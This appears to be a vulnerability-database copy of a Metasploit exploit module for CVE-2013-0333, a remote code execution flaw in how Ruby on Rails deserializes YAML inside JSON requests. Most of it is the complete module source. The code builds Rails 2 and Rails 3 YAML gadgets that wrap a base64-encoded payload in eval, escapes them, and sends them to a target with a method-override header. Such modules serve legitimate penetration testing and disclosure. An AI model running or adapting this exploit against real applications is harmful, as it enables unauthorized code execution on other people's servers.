Ruby on Rails JSON Processor YAML Deserialization Code Execution

2013-01-29T03:05:14
ID MSF:EXPLOIT/MULTI/HTTP/RAILS_JSON_YAML_CODE_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a remote code execution vulnerability in the JSON request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        JSON request processor of the Ruby on Rails application framework.
        This vulnerability allows an attacker to instantiate a remote object,
        which in turn can be used to execute any ruby code remotely in the
        context of the application. This vulnerability is very similar to
        CVE-2013-0156.

        This module has been tested successfully on RoR 3.0.9, 3.0.19, and
        2.3.15.

        The technique used by this module requires the target to be running a
        fairly recent version of Ruby 1.9 (since 2011 or so). Applications
        using Ruby 1.8 may still be exploitable using the init_with() method,
        but this has not been demonstrated.

      },
      'Author'         =>
        [
          'jjarmoc',  # Initial module based on cve-2013-0156, testing help
          'egypt',    # Module
          'lian',     # Identified the RouteSet::NamedRouteCollection vector
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-0333' ],
          [ 'OSVDB', '89594' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => 'Jan 28 2013',
      'DefaultOptions' => { "PrependFork" => true },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
      ])

  end

  #
  # Create the YAML document that will be embedded into the JSON
  #
  def build_yaml_rails2

    code = Rex::Text.encode_base64(payload.encoded)
    yaml =
      "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
      "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
      "eval(%[#{code}].unpack(%[m0])[0]);' " +
      ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
      ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
      ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
    yaml.gsub(':', '\u003a')
  end


  #
  # Create the YAML document that will be embedded into the JSON
  #
  def build_yaml_rails3

    code = Rex::Text.encode_base64(payload.encoded)
    yaml =
      "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
      "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
      ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
    yaml.gsub(':', '\u003a')
  end

  def build_request(v)
    case v
    when 2; build_yaml_rails2
    when 3; build_yaml_rails3
    end
  end

  #
  # Send the actual request
  #
  def exploit

    [2, 3].each do |ver|
      print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
      send_request_cgi({
        'uri'     => normalize_uri(target_uri.path),
        'method'  => datastore['HTTP_METHOD'],
        'ctype'   => 'application/json',
        'headers' => { 'X-HTTP-Method-Override' => 'get' },
        'data'    => build_request(ver)
      }, 25)
      handler
    end

  end
end